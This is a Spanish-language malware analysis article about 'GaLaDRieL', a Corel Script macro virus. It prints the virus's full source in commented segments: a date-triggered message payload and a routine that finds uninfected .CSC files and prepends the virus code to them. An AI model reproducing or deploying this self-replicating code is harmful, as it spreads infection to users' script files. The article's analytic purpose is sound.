Presentamos a «GaLaDRieL», el primer virus basado en Corel
Script, el lenguaje de programación para la automatización de
tareas y guiones de Corel Draw. Aunque sus efectos no son dañinos,
se trata sin duda de una innovación en el campo de los virus de
macro que puede abrir una nueva vía de desarrollo.
Corel Script es el lenguaje, basado en el popular BASIC, para la
programación de macros en el paquete de Corel. Una macro es un
programa de ordenador que ejecuta una serie de instrucciones para
automatizar tareas repetitivas o simplificar acciones complicadas,
pasando por solicitar entradas, visualizar mensajes o dialogar con
otras aplicaciones. Es lo que Corel Draw denomina como guiones, y
es este tipo de archivos, con extensión CSC, los que pueden ser
afectados por este nuevo virus.
En la primera línea de su código podemos encontrar la denominación
de origen: nombre, autor, y grupo de creadores de virus al que
pertenece.
———
REM ViRUS GaLaDRieL FOR COREL SCRIPT bY zAxOn/DDT
———
A continuación recoge la fecha del sistema y comprueba si coincide
con el 6 de junio de cualquier año. En tal caso salta a la etiqueta
«Elessar» donde se encuentra el payload (efecto), que consiste en
mostrar un mensaje basado en «El Señor de los Anillos». En cualquier
caso el programa salta a la etiqueta «Palantir».
———
fecha$=GetCurrDate ()
If Left(fecha$,1)=»6″ Then If Mid(fecha$,3,2)=»06″ Then Goto Elessar
Goto Palantir
Elessar:
Mensajito$= »
Ai! laurië lantar lassi súrinen!.
Yéni únótime ve rámar aldaron,
yéni ve linte yuldar vánier
mi oromardi lisse-miruvóreva
Andúne pella Vardo tellumar
nu luini yassen tintilar i eleni
ómaryo airetári-lirinen.
….»
Titulo = «GaLaDRieL ViRUS bY zAxOn/DDT»
Messagebox Mensajito$,Titulo,64
———-
El virus busca el primer fichero que contenga la extensión CSC
(Corel Script) con los atributos 32 o 128, que equivalen a
archivos de fichero y normales, respectivamente. Cuando encuentra
uno con estas características lo abre para lectura y comprueba que
no contenga la línea «REM ViRUS», que determina que no ha sido
infectado con anterioridad. Cuando encuentra un fichero adecuado
a sus necesidades asigna su nombre a la variable «victima$».
———-
Palantir:
nombre$=FindFirstFolder («*.csc»,32 or 128)
Do while not nombre$=»»
Open nombre$ For Input As #1
Palacios_Intemporales:
Line Input #1,linea$
If linea$=»» then goto Palacios_Intemporales
if victima_bool=1 Then Goto Esgaroth
If Instr(linea$,»REM ViRUS»,1)=0 then
victima$=nombre$
victima_bool=1
End if
———–
El virus sigue buscando archivos que concuerden con su patrón
inicial, extensión CSC y atributos 32 o 128, a través del comando
«FindNextFolder ()». Cuando encuentra un fichero donde el virus
se encuentra alojado, guarda su nombre en la variable
«yo_estoy_en$». Una vez tiene a la víctima (victima$) y un
fichero infectado (yo_estoy_en$), salta a la etiqueta «LothLorien».
En el caso de que no haya podido encontrar a ambos da por terminada
su acción saltando a la etiqueta «Los_Puertos_Grises».
———–
Esgaroth:
If Instr(linea$,»REM ViRUS»,1) 0 Then
yo_estoy_en$=nombre$
conocimiento=1
End if
Close
If conocimiento=1 Then If victima_bool=1 Then Goto LothLorien
nombre$=FindNextFolder ()
If nombre$=»» Then Goto Los_Puertos_Grises
Loop
———–
Por último nos encontramos con una manera peculiar, y poco
optimizada, de infectar el fichero víctima con el virus. Borra
el fichero temporal «mallorn.tmp» que podría encontrarse en el
sistema por anteriores infecciones. Renombra el fichero víctima
a «mallorn.tmp», para lo que utiliza la instrucción
«Rename victima$,»mallorn.tmp»,0″. El parámetro «0» indica que en
el caso de encontrarse el fichero «mallorn.tmp» sea sobreescrito,
con lo que se podría haber ahorrado el borrarlo anteriormente.
Abre el fichero que contenía el virus «yo_estoy_en$» para lectura,
y la víctima para escribir en él. A continuación, mediante un bucle,
va pasando línea a línea el virus, hasta encontrarse con la cadena
«REM END» que le indica que ha terminado de copiar el virus. Cierra
los ficheros, y abre de nuevo el archivo víctima, en esta ocasión
en modo «Append» para adjuntarle, por el mismo método, las líneas
del fichero original que guardó en «mallorn.tmp». Al final vuelve
a borrar el archivo temporal. Por último nos encontramos con una
línea de comentario que ha utilizado anteriormente para detectar
el final del virus.
———–
LothLorien:
Kill «mallorn.tmp»
Rename victima$,»mallorn.tmp»,0
Open yo_estoy_en$ For Input As #1
open victima$ For Output As #2
Do While Not Left(linea$,7)=»REM END»
Line Input #1,linea$
Print #2,linea$
Loop
Line Input #1,linea$
Print #2,linea$
Close
Open victima$ For Append As #1
Open «mallorn.tmp» For Input As #2
Do While Not Eof(2)
Line Input #2,linea$
Print #1,linea$
Loop
Close
Kill «mallorn.tmp»
Los_Puertos_Grises:
REM END OF ViRUS GaLaDRieL bY zAxOn/DDT
————
Sin duda, se trata de un virus que no obtendrá apenas difusión, a
lo que hay que sumar que su código no está optimizado. Suponemos
pues, que la intención del autor ha sido demostrar la viabilidad
para desarrollar virus en este entorno, dejando atrás otros
objetivos más mundanos. En definitiva, nos encontramos ante un
virus innovador en cuanto a la plataforma para la cual está
desarrollado, y que puede ser el principio de una nueva familia
de virus de macro para Corel Draw.
Deja una respuesta